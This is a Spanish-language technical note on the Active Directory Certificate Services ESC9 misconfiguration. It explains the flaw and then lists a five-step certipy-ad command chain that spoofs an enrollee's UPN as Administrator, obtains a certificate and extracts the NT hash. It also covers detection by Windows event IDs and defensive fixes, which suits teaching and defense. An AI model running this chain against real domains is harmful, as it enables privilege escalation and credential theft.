ADCS ESC9 (No Security Extension)

ESC9 es una de las múltiples vías de abuso de Active Directory Certificate Services (ADCS) catalogadas por SpecterOps. ADCS es el rol de PKI de Windows: emite certificados que sirven, entre otras cosas, para autenticarse en el dominio por Kerberos PKINIT. Cuando una plantilla está mal configurada, esos certificados se convierten en una vía de escalada.

La vulnerabilidad. Microsoft introdujo la extensión de seguridad szOID_NTDS_CA_SECURITY_EXT, que incrusta el SID del solicitante dentro del certificado para que el KDC lo valide de forma inequívoca. Una plantilla marcada con el flag CT_FLAG_NO_SECURITY_EXTENSION no incluye esa extensión: en ese caso el KDC cae en el comportamiento antiguo y valida el certificado por el UPN del solicitante, no por su SID.

El abuso. Si controlamos una cuenta con permiso para cambiar el UPN de otra cuenta que tenga derechos de inscripción sobre la plantilla vulnerable (por ejemplo, vía GenericAll), la explotación es:

certipy-ad find -vulnerable -username <user> -hashes :<hash> -dc-ip <ip> -stdout
certipy-ad account update -username <ctrl>@<domain> -hashes :<hash> -user <inscriptor> -upn Administrator -dc-ip <ip>
certipy-ad req -username <inscriptor>@<domain> -hashes :<hash> -ca <CA> -template <plantilla> -dc-ip <ip>
certipy-ad account update -username <ctrl>@<domain> -hashes :<hash> -user <inscriptor> -upn <inscriptor>@<domain> -dc-ip <ip>
certipy-ad auth -pfx administrator.pfx -domain <domain> -dc-ip <ip>

Es decir: (1) se pone como UPN del inscriptor el de un usuario privilegiado (Administrator); (2) se pide el certificado, que el CA emite "a nombre" de ese UPN; (3) se revierte el UPN para no dejar dos iguales en el dominio; (4) se autentica con el .pfx por PKINIT y se extrae el hash NT del usuario impersonado.

Salvedad. ESC9 no siempre es explotable: depende de condiciones adicionales (que el atributo mail/UPN del objetivo no esté forzado, la configuración del CA, etc.). Por eso certipy avisa con "Other prerequisites may be required". Es un indicio fuerte, no una garantía automática.

Cómo detectarlo. La cadena toca dos telemetrías. En el CA, pedir el certificado deja un Event ID 4886 (Certificate Services recibió una solicitud) y un 4887 (aprobó y emitió un certificado), con el UPN del solicitante ya cambiado a Administrator: un certificado emitido a un UPN privilegiado desde una cuenta de inscripción cualquiera es la firma. En el DC, cambiar el UPN genera un 5136 (se modificó un objeto del servicio de directorio) sobre el atributo userPrincipalName, y el certipy revierte el cambio en segundos, dejando dos 5136 muy juntos sobre la misma cuenta: patrón anómalo evidente. La autenticación final por PKINIT aparece como 4768 con certificado. Correlacionar 5136-del-UPN → 4887 con UPN privilegiado cierra la detección.

Defensa. Habilitar la extensión de seguridad en todas las plantillas (parche KB5014754 en modo Enforcement), limitar quién puede modificar el UPN de otras cuentas y auditar el CA con certipy find -vulnerable. Relacionado con Shadow Credentials y el abuso de ACL que suele dar el control previo sobre el inscriptor.